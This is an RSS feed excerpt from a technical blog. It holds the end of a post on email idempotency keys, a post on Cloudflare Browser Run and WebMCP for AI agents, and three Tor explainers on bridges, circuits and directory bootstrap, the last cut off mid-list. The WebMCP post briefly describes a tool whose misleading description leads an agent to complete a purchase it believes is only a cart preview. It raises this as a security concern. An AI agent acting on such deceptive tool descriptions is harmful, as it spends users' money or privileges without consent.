&lt;p&gt;&lt;img src=&quot;./16-retry-key.png&quot; alt=&quot;The retry uses the same email request and welcome-email:42. If the provider remembers the key, there is no second send. After the key expires, a second send is possible.&quot; title=&quot;Retention depends on the provider.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The provider&apos;s memory has a time limit. Resend keeps keys for 24 hours, for example. If a retry comes after the provider has forgotten the key, a second welcome email can still land in the inbox. &lt;a href=&quot;https://resend.com/docs/dashboard/emails/idempotency-keys&quot;&gt;Resend idempotency keys&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;If several workers need to reserve work, they can all call the same function in Postgres. Here, &lt;code&gt;claim_next_job()&lt;/code&gt; reserves the job. Once the claim commits, the worker can send the email. If it needs to retry, it sends the same request with the same key.&lt;/p&gt;
&lt;p&gt;Next, &lt;a href=&quot;/blog/listen-notify&quot;&gt;wake a waiting worker with LISTEN and NOTIFY&lt;/a&gt;. The worker still uses the claim operation above when it wakes up.&lt;/p&gt;
</content:encoded></item><item><title>What Happens to the Frontend When Agents Use the Web?</title><link>https://didof.dev/blog/frontend-agents-webmcp/</link><guid isPermaLink="true">https://didof.dev/blog/frontend-agents-webmcp/</guid><description>Browser Run lets artificial intelligence agents operate the web we already have. WebMCP gives websites another option: expose their actions directly.</description><pubDate>Sat, 15 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;On April 15, Cloudflare renamed Browser Rendering to Browser Run.&lt;/p&gt;
&lt;p&gt;The new name is almost literal. Browser Run gives an agent a Chrome session and lets it drive it: open pages, fill forms, click controls, take screenshots, record the session, or hand control to a person when automation gets stuck. Cloudflare also added direct Chrome DevTools Protocol (CDP) access and experimental WebMCP support. &lt;a href=&quot;https://blog.cloudflare.com/browser-run-for-ai-agents/&quot;&gt;Cloudflare&apos;s announcement&lt;/a&gt; describes the change as a move from browser rendering toward a remote browser for agents.&lt;/p&gt;
&lt;p&gt;This already works without websites doing anything special.&lt;/p&gt;
&lt;p&gt;Browser Run can return the accessibility tree of a rendered page: roles, names, values, states and hierarchy. A hotel page that looks like cards, filters and inputs to us can become something closer to &lt;code&gt;textbox: Destination&lt;/code&gt;, &lt;code&gt;checkbox: Free cancellation&lt;/code&gt;, &lt;code&gt;button: Search&lt;/code&gt; for the agent. Cloudflare added the standalone accessibility-tree endpoint in July 2026. &lt;a href=&quot;https://developers.cloudflare.com/browser-run/changelog/&quot;&gt;The Browser Run changelog&lt;/a&gt; documents the endpoint and its intended use by agents.&lt;/p&gt;
&lt;p&gt;The agent can use that structure to operate the normal website.&lt;/p&gt;
&lt;p&gt;There is still something backwards about it.&lt;/p&gt;
&lt;p&gt;The hotel application already knows that it has a search operation. It already knows what a destination is and what the cancellation filter changes. The frontend turns those concepts into controls for a person. Browser automation then reads those controls and reconstructs the concepts so a machine can operate them again.&lt;/p&gt;
&lt;p&gt;WebMCP tries to skip part of that reconstruction.&lt;/p&gt;
&lt;h2&gt;Give the agent the operation&lt;/h2&gt;
&lt;p&gt;WebMCP lets a page register tools that an agent can call through the browser.&lt;/p&gt;
&lt;p&gt;In the current draft, a web application can register a JavaScript tool through &lt;code&gt;document.modelContext.registerTool()&lt;/code&gt;, giving it a name, description, input schema and implementation. The proposal also includes a declarative application programming interface (API) that can expose Hypertext Markup Language (HTML) forms as tools. &lt;a href=&quot;https://webmachinelearning.github.io/webmcp/&quot;&gt;The WebMCP draft specification&lt;/a&gt; defines both approaches.&lt;/p&gt;
&lt;p&gt;A travel site could expose something like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;searchFlights({
  origin: &quot;Rome&quot;,
  destination: &quot;Berlin&quot;,
  date: &quot;2026-09-04&quot;
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;without making the agent discover the three fields and the Search button that implement the same operation.&lt;/p&gt;
&lt;p&gt;Cloudflare uses almost exactly this example in its Browser Run announcement: a site exposes a flight-search tool, the agent discovers it on the page and calls it instead of going through a screenshot-analyze-click loop. Cloudflare runs WebMCP-capable Chrome beta instances in an experimental Browser Run pool. &lt;a href=&quot;https://developers.cloudflare.com/browser-run/features/webmcp/&quot;&gt;Cloudflare documents the WebMCP support here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The page is still running while this happens.&lt;/p&gt;
&lt;p&gt;The tool belongs to the live document. It can operate against the same Document Object Model (DOM), cookies and application state that the normal user interface (UI) is using. Chrome distinguishes this from the Model Context Protocol (MCP) specifically on that basis: an MCP service exists independently of an open web page; WebMCP operates in the world currently loaded in the user&apos;s tab. &lt;a href=&quot;https://developer.chrome.com/docs/ai/webmcp/compare-mcp&quot;&gt;Chrome&apos;s MCP/WebMCP comparison&lt;/a&gt; describes WebMCP as the frontend counterpart to backend-oriented MCP.&lt;/p&gt;
&lt;p&gt;So WebMCP is not a machine-only backend replacing the frontend. The browser is still running the frontend. The frontend is exposing another way to operate it.&lt;/p&gt;
&lt;h2&gt;The agent no longer has to imitate us&lt;/h2&gt;
&lt;p&gt;Without WebMCP, booking a hotel may require the agent to identify the destination input, set the dates, activate the right filter, locate Search, click it and inspect the result.&lt;/p&gt;
&lt;p&gt;None of those steps is particularly impressive. Together they are a translation layer.&lt;/p&gt;
&lt;p&gt;With WebMCP, the site can expose the operation underneath those controls directly. The resulting state can still be rendered through the normal UI.&lt;/p&gt;
&lt;p&gt;The human and the agent can therefore operate the same application without using the same interface.&lt;/p&gt;
&lt;p&gt;This is much narrower than saying the frontend is disappearing. HTML, JavaScript, the DOM and application state remain part of the web application. The visual UI can remain too. The part that becomes optional is making the machine reproduce the interaction sequence designed for a person.&lt;/p&gt;
&lt;h2&gt;The UI is still useful&lt;/h2&gt;
&lt;p&gt;Browser Run also supports the opposite direction.&lt;/p&gt;
&lt;p&gt;Live View lets a person watch the remote browser. Human in the Loop lets an automated session pause, give control to a person and continue afterwards. Cloudflare added a structured pause-and-resume handoff in July. &lt;a href=&quot;https://developers.cloudflare.com/browser-run/features/human-in-the-loop/&quot;&gt;The Human in the Loop documentation&lt;/a&gt; describes the handoff protocol.&lt;/p&gt;
&lt;p&gt;A login wall is the obvious use case, but authenticated sessions make the same mechanism useful even when the agent is working correctly.&lt;/p&gt;
&lt;p&gt;Consider checkout. The agent can search, compare products and prepare the order. The user can still inspect the actual checkout page before the purchase happens.&lt;/p&gt;
&lt;p&gt;WebMCP makes that distinction important because its tools execute inside a page that may already have the user&apos;s cookies and privileges.&lt;/p&gt;
&lt;p&gt;The current specification gives a useful failure example. A shopping site exposes a tool whose description can lead an agent to interpret the operation as preparing a cart for review while the implementation actually completes the purchase. The specification treats this as &lt;strong&gt;misrepresentation of intent&lt;/strong&gt;. &lt;a href=&quot;https://webmachinelearning.github.io/webmcp/#security-and-privacy-considerations&quot;&gt;The WebMCP security section&lt;/a&gt; discusses this and related risks.&lt;/p&gt;
&lt;p&gt;The tool name is not a behavioral contract.&lt;/p&gt;
&lt;p&gt;An authenticated page may already be able to buy something, modify account settings, expose private data or delete content. WebMCP provides another code path to those actions, and the specification notes that the tool path must preserve the security properties expected from the visible application.&lt;/p&gt;
&lt;p&gt;That pushes part of frontend design away from controls and toward semantics. A purchase tool needs an accurate description of its side effects, the same authorization guarantees as the visible purchase flow, and a clear point where human confirmation is required. The UI then shows the state produced by the agent and gives the person somewhere to inspect or stop it.&lt;/p&gt;
&lt;h2&gt;WebMCP may not survive&lt;/h2&gt;
&lt;p&gt;WebMCP is still an experiment.&lt;/p&gt;
&lt;p&gt;The current specification is a Draft Community Group Report from the World Wide Web Consortium (W3C) Web Machine Learning Community Group. It explicitly says that it is neither a W3C Standard nor on the W3C Standards Track. &lt;a href=&quot;https://webmachinelearning.github.io/webmcp/&quot;&gt;The draft itself&lt;/a&gt; carries that status.&lt;/p&gt;
&lt;p&gt;Chrome is experimenting with the API. &lt;a href=&quot;https://github.com/WebKit/standards-positions/issues/670&quot;&gt;WebKit records &lt;code&gt;position: oppose&lt;/code&gt;&lt;/a&gt;, citing concerns around API design, duplication, portability, privacy, security, use cases and meaningful consent. &lt;a href=&quot;https://github.com/mozilla/standards-positions/issues/1412&quot;&gt;Mozilla records &lt;code&gt;position: neutral&lt;/code&gt;&lt;/a&gt;: potentially valuable, but with too many open questions for an endorsement as of August 15, 2026.&lt;/p&gt;
&lt;p&gt;The API could change substantially or disappear. Browser automation could also become reliable enough that many sites never expose agent-specific tools.&lt;/p&gt;
&lt;p&gt;Browser Run already gives us the fallback: let the agent use the existing website through a real browser, with CDP, Playwright, Puppeteer or structured representations such as the accessibility tree.&lt;/p&gt;
&lt;p&gt;WebMCP explores the next step. Instead of reconstructing every action from controls designed for a person, the agent can sometimes call the action the page already knows how to perform.&lt;/p&gt;
&lt;p&gt;Browser Run works even if a website was never designed for agents. The agent reads the page and operates the controls that are already there.&lt;/p&gt;
&lt;p&gt;WebMCP changes what the site can expose. Search, booking or checkout no longer have to be inferred only from fields and buttons; the page can describe those operations directly.&lt;/p&gt;
&lt;p&gt;The frontend is still running in both cases. What changes is who has to use the UI.&lt;/p&gt;
</content:encoded></item><item><title>Complete Anatomy of Tor: From the First Map to the Rendezvous</title><link>https://didof.dev/blog/how-tor-works/</link><guid isPermaLink="true">https://didof.dev/blog/how-tor-works/</guid><description>A guided tour of Tor&apos;s mechanism: directory, circuits, cells, exit, onion service, and rendezvous.</description><pubDate>Sat, 15 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import TorMechanismExplorer from &quot;@/components/blog/tor/TorMechanismExplorer.astro&quot;;&lt;/p&gt;
&lt;p&gt;The most common explanation of Tor starts with a message encrypted three times. It passes through three relays and loses a layer at each step.&lt;/p&gt;
&lt;p&gt;That&apos;s correct. But when that onion appears, Tor has already solved at least three problems: from whom to get a map of the network, which relays to choose, and how to reach them without connecting directly to all of them.&lt;/p&gt;
&lt;p&gt;This article is the map of the series. The guided tour shows the complete order, from the first start to the rendezvous. Each section introduces a question; the subsequent articles reconstruct the relevant answer without skipping intermediate steps.&lt;/p&gt;
&lt;p&gt;&amp;lt;TorMechanismExplorer /&amp;gt;&lt;/p&gt;
&lt;h2&gt;1. Where does the first map come from?&lt;/h2&gt;
&lt;p&gt;A newly installed client does not yet know the current network. However, it already knows the cryptographic identities of the &lt;strong&gt;directory authorities&lt;/strong&gt; expected and some initial points from which it can download documents.&lt;/p&gt;
&lt;p&gt;The authorities combine their views into a &lt;strong&gt;consensus&lt;/strong&gt; signed document. The client verifies the signatures and validity, then recovers the missing information on the relays.&lt;/p&gt;
&lt;p&gt;The distinction we will need for the rest is already here: the server contacted provides a copy of the map; the signatures establish whether that copy is acceptable. The directory produces the candidates. It does not assign the user&apos;s personal path.&lt;/p&gt;
&lt;p&gt;The first article reconstructs this bootstrap and distinguishes authorities, fallback, cache, descriptor, flag, and consensus.&lt;/p&gt;
&lt;h2&gt;2. Why is the exit chosen first and reached last?&lt;/h2&gt;
&lt;p&gt;For a three-hop web circuit, the client selects the &lt;strong&gt;exit&lt;/strong&gt; first, then the &lt;strong&gt;guard&lt;/strong&gt;, and finally the &lt;strong&gt;middle&lt;/strong&gt;. The destination imposes a constraint on the last relay: the exit must accept the connection request.&lt;/p&gt;
&lt;p&gt;The construction proceeds in the opposite order. The client reaches the guard directly, then extends the circuit to the middle, and finally to the exit. Each extension traverses the already constructed circuit and establishes new cryptographic material with the relay added.&lt;/p&gt;
&lt;p&gt;The second article separates these two sequences: choose &lt;code&gt;exit → guard → middle&lt;/code&gt;; construct &lt;code&gt;guard → middle → exit&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;3. What is actually wrapped in layers?&lt;/h2&gt;
&lt;p&gt;Opening &lt;code&gt;example.com&lt;/code&gt; creates an &lt;strong&gt;application stream&lt;/strong&gt;. The stream uses a &lt;strong&gt;circuit&lt;/strong&gt;. Its bytes are divided into relay messages transported inside &lt;strong&gt;cells&lt;/strong&gt;. The cells traverse &lt;strong&gt;channels&lt;/strong&gt; between adjacent participants.&lt;/p&gt;
&lt;p&gt;Layered encryption applies to these units along an already constructed circuit. The third article starts with a single web loading and uses that action to distinguish channel, circuit, cell, stream, CircID, and StreamID.&lt;/p&gt;
&lt;h2&gt;4. Where do Tor, DNS, and HTTPS end?&lt;/h2&gt;
&lt;p&gt;To reach a normal site, the client sends the name and port to the stream. The exit resolves the name when necessary and opens the external TCP connection.&lt;/p&gt;
&lt;p&gt;Tor protects the path until the exit. HTTPS, when present and authenticated correctly, protects the application content between the browser and the site. The two protections have different endpoints and tasks.&lt;/p&gt;
&lt;p&gt;The third article follows this boundary. Then the series changes course: an onion service does not require a final connection from the exit to the public IP of the service.&lt;/p&gt;
&lt;h2&gt;5. How is a service found that does not publish its IP?&lt;/h2&gt;
&lt;p&gt;A v3 onion address cryptographically identifies the service, not the location where it is hosted. The service instead publishes a temporary descriptor that indicates some &lt;strong&gt;introduction points&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;If the name must remain stable, why does Tor not always publish that descriptor under the same identifier? The fourth article answers by introducing blinded keys, periods, shared random values, and relay &lt;strong&gt;HSDir&lt;/strong&gt;. At the end, the client knows where to knock, but it still does not know the service&apos;s IP.&lt;/p&gt;
&lt;h2&gt;6. How do two endpoints meet that do not connect directly?&lt;/h2&gt;
&lt;p&gt;The client chooses a &lt;strong&gt;rendezvous point&lt;/strong&gt; and leaves a random cookie there. It communicates that choice to the service through an introduction point. The service constructs a second circuit towards the same relay and presents the cookie.&lt;/p&gt;
&lt;p&gt;The rendezvous point associates the two circuits, while the client and service complete a handshake that the relay does not finish. The fifth article follows each message, distinguishes introduction and data transport, and shows why the rendezvous is an encounter between two circuits, not a hidden exit.&lt;/p&gt;
&lt;h2&gt;7. What happens when the entry is blocked?&lt;/h2&gt;
&lt;p&gt;The public consensus allows a censor to enumerate ordinary relays. The sixth article follows a small escalation: public relay, IP block, bridge, traffic recognition, pluggable transport. These tools change the way to reach the first hop; after the entry, Tor continues to function as Tor.&lt;/p&gt;
&lt;h2&gt;8. What information remains visible?&lt;/h2&gt;
&lt;p&gt;The guard receives the client&apos;s connection directly. The exit knows the destination. The middle sees the neighbors. HSDir, introduction points, and rendezvous points still observe different fragments.&lt;/p&gt;
&lt;p&gt;This separation is the thesis of the series, but it is not enough to say that &quot;no node knows everything.&quot; Collusion, correlation, application identity, fingerprinting, and endpoint compromise change the adversary. The last article constructs the threat model property by property.&lt;/p&gt;
&lt;p&gt;The security of Tor does not arise from the absence of total information. It arises from the cost and conditions necessary to connect information that the protocol delivers separately.&lt;/p&gt;
&lt;p&gt;The onion was not wrong. It just started too late.&lt;/p&gt;
&lt;h2&gt;Technical References&lt;/h2&gt;
&lt;p&gt;This map synthesizes the seven deep dives. Each article links its claims to the relevant sections of the specific. The primary orientation sources are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tor Specifications, &lt;a href=&quot;https://spec.torproject.org/dir-spec/outline.html&quot;&gt;Directory protocol — Outline&lt;/a&gt;, sections “Outline” and “Voting timeline”.&lt;/li&gt;
&lt;li&gt;Tor Specifications, &lt;a href=&quot;https://spec.torproject.org/path-spec/path-selection-constraints.html&quot;&gt;Path selection and constraints&lt;/a&gt;, introduction and section “Choosing an exit”.&lt;/li&gt;
&lt;li&gt;Tor Specifications, &lt;a href=&quot;https://spec.torproject.org/tor-spec/creating-circuits.html&quot;&gt;Creating circuits&lt;/a&gt;, steps &lt;code&gt;CREATE2&lt;/code&gt; and &lt;code&gt;EXTEND2&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Tor Specifications, &lt;a href=&quot;https://spec.torproject.org/rend-spec/protocol-overview.html&quot;&gt;Protocol overview of onion service&lt;/a&gt;, sections “View from 10,000 feet” and “Distributing hidden service descriptors”.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Online specifications consulted on August 14, 2026.&lt;/p&gt;
</content:encoded></item><item><title>How Tor Enters a Network That Blocks Tor</title><link>https://didof.dev/blog/tor-bridges-pluggable-transports/</link><guid isPermaLink="true">https://didof.dev/blog/tor-bridges-pluggable-transports/</guid><description>Why bridges and pluggable transports are needed, which problem each solves, and why both change only the entry into the Tor network.</description><pubDate>Sat, 15 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import BridgeIngressExplorer from &quot;@/components/blog/tor/BridgeIngressExplorer.astro&quot;;&lt;/p&gt;
&lt;p&gt;A client tries to connect to a public Tor relay. The censor reads the same public directory and blocks that IP address.&lt;/p&gt;
&lt;p&gt;The client switches to a bridge whose address does not appear in the complete public list. The connection starts. The censor did not know the IP address, but recognizes the characteristics of Tor traffic and blocks that too.&lt;/p&gt;
&lt;p&gt;The client then adds a pluggable transport to the link to the bridge. The observable traffic changes shape; the server-side pluggable transport (PT) component later removes the transformation and delivers the flow to the bridge&apos;s Tor process.&lt;/p&gt;
&lt;p&gt;This escalation separates the two tools:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;public relay → IP blocked → bridge → traffic recognized → pluggable transport&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Layered encryption cannot solve the first block. If the client cannot reach the first relay, the circuit does not yet exist.&lt;/p&gt;
&lt;h2&gt;First: What the Censor Can Do&lt;/h2&gt;
&lt;p&gt;Here, a &lt;strong&gt;network censor&lt;/strong&gt; means an actor that can observe or block connections between the client and the Internet. We do not automatically grant it global visibility or control of Tor relays.&lt;/p&gt;
&lt;p&gt;The censor can use addresses, blocking the IP addresses of public relays, or traffic characteristics, trying to recognize the protocol even at an unknown IP address. Hiding an address and changing the appearance of traffic are separate problems.&lt;/p&gt;
&lt;h2&gt;The Consensus Cannot Hide Public Relays&lt;/h2&gt;
&lt;p&gt;The &lt;strong&gt;consensus&lt;/strong&gt; is the signed map through which clients learn which public relays are available. A &lt;strong&gt;relay&lt;/strong&gt; is a server participating in the Tor network. The &lt;strong&gt;guard&lt;/strong&gt; is the first relay in an ordinary circuit and directly receives the client&apos;s connection.&lt;/p&gt;
&lt;p&gt;The public nature of the consensus is not an accidental mistake. The client must be able to verify the map and choose paths without relying on a central server to assign its route.&lt;/p&gt;
&lt;p&gt;But a guard listed in the public directory can also be enumerated. When blocking uses that list, Tor needs an entry point distributed in a different way.&lt;/p&gt;
&lt;h2&gt;A Bridge Is a Less Enumerable First Hop&lt;/h2&gt;
&lt;p&gt;A &lt;strong&gt;bridge&lt;/strong&gt; is a Tor relay used as an entry point, but its coordinates are not distributed as part of the complete relay list in the public consensus.&lt;/p&gt;
&lt;p&gt;The client obtains the bridge address through a separate mechanism. The intended invariant is that the censor cannot immediately derive the complete set of bridges by reading the public directory.&lt;/p&gt;
&lt;p&gt;This does not make the bridge invisible. A censor can discover individual addresses, obtain them through distribution channels, or identify them in other ways. The goal is to make complete, immediate enumeration harder—not to guarantee eternal secrecy.&lt;/p&gt;
&lt;h2&gt;The Bridge Takes the Public Guard&apos;s Place&lt;/h2&gt;
&lt;p&gt;When Tor is configured to use bridges—the option is called &lt;code&gt;UseBridges&lt;/code&gt;—the configured bridges replace public guards as candidates for the entry position. Tor separately retains the state of bridges already sampled and confirmed instead of choosing a new one for every circuit. The chosen bridge thus becomes the first hop and performs the role of a normal public entry guard.&lt;/p&gt;
&lt;p&gt;It does not replace the directory authorities that sign the consensus. It does not replace the middle. It does not replace the exit of an Internet-bound circuit or the rendezvous point of an onion circuit.&lt;/p&gt;
&lt;p&gt;It changes the entry.&lt;/p&gt;
&lt;p&gt;From the bridge onward, the client extends the circuit toward the other relays using normal telescoping construction: it negotiates the first segment, then adds one relay at a time without opening direct connections to more distant hops.&lt;/p&gt;
&lt;h2&gt;An Unknown IP Address Can Still Carry Recognizable Traffic&lt;/h2&gt;
&lt;p&gt;Suppose the censor does not yet know the bridge&apos;s address. It can still observe the connection between client and bridge and try to classify it.&lt;/p&gt;
&lt;p&gt;If the link exposes recognizable characteristics and the censor decides to block them, having an address outside the public list is not enough.&lt;/p&gt;
&lt;p&gt;This is where the &lt;strong&gt;pluggable transport&lt;/strong&gt; enters. It is a modular component that changes how traffic is carried between client and bridge. Two compatible helpers, one on the client side and one on the bridge side, transform the first link and then deliver the flow to the Tor protocol.&lt;/p&gt;
&lt;p&gt;The transport is not a new circuit. It is a wrapper or transformation of the entry link.&lt;/p&gt;
&lt;p&gt;&amp;lt;BridgeIngressExplorer /&amp;gt;&lt;/p&gt;
&lt;h2&gt;The Transport Ends on the Bridge&apos;s Server Side&lt;/h2&gt;
&lt;p&gt;The geometry is the most important part.&lt;/p&gt;
&lt;p&gt;The pluggable transport covers the client-to-bridge segment. The server-side PT component removes the transformation and forwards the flow to the bridge&apos;s Tor entry interface, called the ORPort or Extended ORPort. From there, the normal Tor protocol continues.&lt;/p&gt;
&lt;p&gt;The middle, exit, rendezvous point, relay cells, and per-hop transformations are not replaced by the transport. Drawing it around the entire circuit would suggest a second end-to-end anonymity system that does not exist.&lt;/p&gt;
&lt;p&gt;Bridges and transports also answer different questions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the bridge tries to avoid blocking based on enumerating public relays;&lt;/li&gt;
&lt;li&gt;the transport tries to change observable characteristics of the first link;&lt;/li&gt;
&lt;li&gt;the Tor circuit separates origin and destination through successive relays.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These functions can work together, but they are not synonyms.&lt;/p&gt;
&lt;h2&gt;The Censor Can Adapt&lt;/h2&gt;
&lt;p&gt;The specification defines a modular interface. The ability to evade recognition, however, depends on the transport and the specific adversary.&lt;/p&gt;
&lt;p&gt;A censor can adapt: discover a bridge, recognize a transformation, or interfere with the channel used to obtain new coordinates.&lt;/p&gt;
&lt;p&gt;When one of these conditions changes, the client may need another bridge or entry mechanism. Censorship resistance is therefore a dynamic contest among distribution, observation, and blocking.&lt;/p&gt;
&lt;h2&gt;After Entry, Tor Remains Tor&lt;/h2&gt;
&lt;p&gt;The bridge adds no magical anonymity to the path, and the transport does not automatically encrypt every subsequent layer. Their job is to make the first connection possible when ordinary entry is blocked.&lt;/p&gt;
&lt;p&gt;Once that link is available, the verified directory, path selection, telescoping construction, circuits, cells, and streams all return.&lt;/p&gt;
&lt;p&gt;The point is not to circumvent censorship &lt;em&gt;instead of&lt;/em&gt; Tor. It is to reach Tor so that Tor can begin to work.&lt;/p&gt;
&lt;h2&gt;Technical Sources&lt;/h2&gt;
&lt;p&gt;Tor Specifications: &lt;a href=&quot;https://spec.torproject.org/glossary.html&quot;&gt;Glossary&lt;/a&gt; (“bridge”); &lt;a href=&quot;https://spec.torproject.org/path-spec/server-descriptor-purposes.html&quot;&gt;Server descriptor purposes&lt;/a&gt; (bridge purpose and &lt;code&gt;UseBridges&lt;/code&gt;); &lt;a href=&quot;https://spec.torproject.org/guard-spec/state-instances.html&quot;&gt;Guard state instances&lt;/a&gt; (separate bridge state); &lt;a href=&quot;https://spec.torproject.org/pt-spec/introduction.html&quot;&gt;Pluggable Transport — Introduction&lt;/a&gt; (helpers and interface); &lt;a href=&quot;https://spec.torproject.org/pt-spec/configuration-environment.html&quot;&gt;PT configuration environment&lt;/a&gt; (ORPort and Extended ORPort); &lt;a href=&quot;https://spec.torproject.org/ext-orport-spec&quot;&gt;Extended ORPort&lt;/a&gt; (handoff from the PT to the bridge&apos;s Tor process). Tor Project: &lt;a href=&quot;https://svn-archive.torproject.org/svn/projects/design-paper/blocking.html&quot;&gt;Design of a blocking-resistant anonymity system&lt;/a&gt; (IP blocking and bridge distribution). Consulted August 14, 2026; effectiveness depends on the specific adversary.&lt;/p&gt;
</content:encoded></item><item><title>Before the Circuit: How Tor Builds a Shared Network Map</title><link>https://didof.dev/blog/tor-directory-bootstrap/</link><guid isPermaLink="true">https://didof.dev/blog/tor-directory-bootstrap/</guid><description>How the Tor software discovers which relays exist, verifies the network map, and prepares to build a circuit.</description><pubDate>Sat, 15 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import TorBootstrapMachine from &quot;@/components/blog/tor/TorBootstrapMachine.astro&quot;;&lt;/p&gt;
&lt;p&gt;Open Tor Browser and request a normal website. Before being able to send that request, the software must choose some Tor network relays and arrange them in a specific order.&lt;/p&gt;
&lt;p&gt;We&apos;ll call the &lt;strong&gt;Tor client&lt;/strong&gt; the part of the software on your device that communicates with the network. The other servers are the &lt;strong&gt;relays&lt;/strong&gt;: machines that run Tor and forward traffic on behalf of users. The path constructed through the relays is called a &lt;strong&gt;circuit&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;For a normal website, the basic model is this:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;client → guard → middle → exit → site&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;strong&gt;guard&lt;/strong&gt;, or entry relay, is the first relay. The client connects directly to it.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;middle&lt;/strong&gt; is the intermediate relay. It connects the first relay to the last.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;exit&lt;/strong&gt; is the last relay. It opens the connection to the site outside the Tor network.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These names describe primarily &lt;strong&gt;positions in the circuit&lt;/strong&gt;, not three separate programs. A relay can be suitable for multiple positions. Additionally, internal circuits — including those used to reach &lt;code&gt;.onion&lt;/code&gt; services — do not necessarily have an exit to the Internet.&lt;/p&gt;
&lt;p&gt;Tor must choose these relays. But at first start, it doesn&apos;t yet have an up-to-date view of the network: it doesn&apos;t know which relays exist today, which are reachable, or which are suitable for different positions.&lt;/p&gt;
&lt;p&gt;It could ask any server. But that server might respond with a fabricated network and show only relays controlled by the same adversary.&lt;/p&gt;
&lt;p&gt;Here&apos;s the problem that comes before building the circuit and layer encryption: &lt;strong&gt;how does the client get a network map without allowing the first server contacted to rewrite it?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In this context, &lt;em&gt;directory&lt;/em&gt; does not mean a folder. It means the system that produces and distributes documents on the Tor network. The central document is called &lt;strong&gt;network-status consensus&lt;/strong&gt;, or simply &lt;strong&gt;consensus&lt;/strong&gt;: it is the signed map from which the client derives candidate relays and the properties necessary for selection.&lt;/p&gt;
&lt;h2&gt;The Client Arrives with a Starting Point&lt;/h2&gt;
&lt;p&gt;The client does not discover the directory authorities by asking a stranger. The Tor software release already contains a standard list of &lt;strong&gt;directory authorities&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;A directory authority is a server with a special role: it observes relays, participates in a vote with other authorities, and signs the result. The client software already contains the necessary public information to identify and contact it. It&apos;s not just a name: the critical data is its expected cryptographic identity.&lt;/p&gt;
&lt;p&gt;This identity works like a verification root. The long-term identity key of the authority (&lt;em&gt;identity key&lt;/em&gt;) certifies a shorter signing key. The authority then uses this second key to sign directory documents. The client can follow the chain to the identity it already knows. The private keys, of course, remain on the authorities.&lt;/p&gt;
&lt;p&gt;This list is present &lt;strong&gt;before the first connection&lt;/strong&gt;. Standard clients are encouraged to use the same list, because two groups of clients recognizing different authorities might receive incompatible views of the network.&lt;/p&gt;
&lt;p&gt;The software also contains a second list: the &lt;strong&gt;fallback directory mirrors&lt;/strong&gt;. These are servers from which the client can start downloading documents when it doesn&apos;t yet know the normal directory caches indicated by the consensus.&lt;/p&gt;
&lt;p&gt;The two lists have different functions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The list of &lt;strong&gt;directory authorities&lt;/strong&gt; tells the client which identities can support the consensus with their signatures;&lt;/li&gt;
&lt;li&gt;The list of &lt;strong&gt;fallbacks&lt;/strong&gt; tells the client from which addresses it can try to obtain a copy of the initial documents.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Before the first download:&lt;/strong&gt; the client already knows the expected directory authorities and some starting points. It doesn&apos;t yet have the current list of relays and doesn&apos;t have a circuit &lt;code&gt;guard → middle → exit&lt;/code&gt; ready.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A fallback can deliver the consensus, but it cannot authenticate it with its own authority. The client accepts the document only if it recognizes a sufficient number of signatures from the directory authorities it already knows.&lt;/p&gt;
&lt;p&gt;The first server contacted provides a copy. It doesn&apos;t define the truth and doesn&apos;t automatically become the guard of the future circuit.&lt;/p&gt;
&lt;p&gt;The phase in which the client moves from these embedded information to a sufficiently complete and recent map is called &lt;strong&gt;bootstrap&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&amp;lt;TorBootstrapMachine /&amp;gt;&lt;/p&gt;
&lt;p&gt;Tor thus separates two problems: &lt;strong&gt;where to retrieve a document&lt;/strong&gt; and &lt;strong&gt;how to establish that that document is the approved one&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;A Relay Can Describe Itself, But Not Promote Itself&lt;/h2&gt;
&lt;p&gt;Each public relay generates a &lt;strong&gt;server descriptor&lt;/strong&gt; signed. It&apos;s a card with the relay&apos;s identity, its keys, addresses, and other capabilities that Tor must know.&lt;/p&gt;
&lt;p&gt;The signature shows that the descriptor comes from the owner of the relay&apos;s key. It doesn&apos;t show that every statement is true and doesn&apos;t make the server automatically suitable for any role.&lt;/p&gt;
&lt;p&gt;This difference becomes evident with the &lt;strong&gt;flags&lt;/strong&gt;. A flag is a label published next to a relay in the consensus. The client uses these labels to understand if that relay can participate in a certain type of circuit.&lt;/p&gt;
&lt;p&gt;The difference between position and flag is also seen in the writing: &lt;em&gt;guard&lt;/em&gt; and &lt;em&gt;exit&lt;/em&gt; in lowercase indicate the circuit positions; &lt;code&gt;Guard&lt;/code&gt; and &lt;code&gt;Exit&lt;/code&gt; in code style indicate the labels present in the consensus.&lt;/p&gt;
&lt;p&gt;The most commonly named flags mean this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Guard&lt;/code&gt;: the relay is considered suitable as an entry relay;&lt;/li&gt;
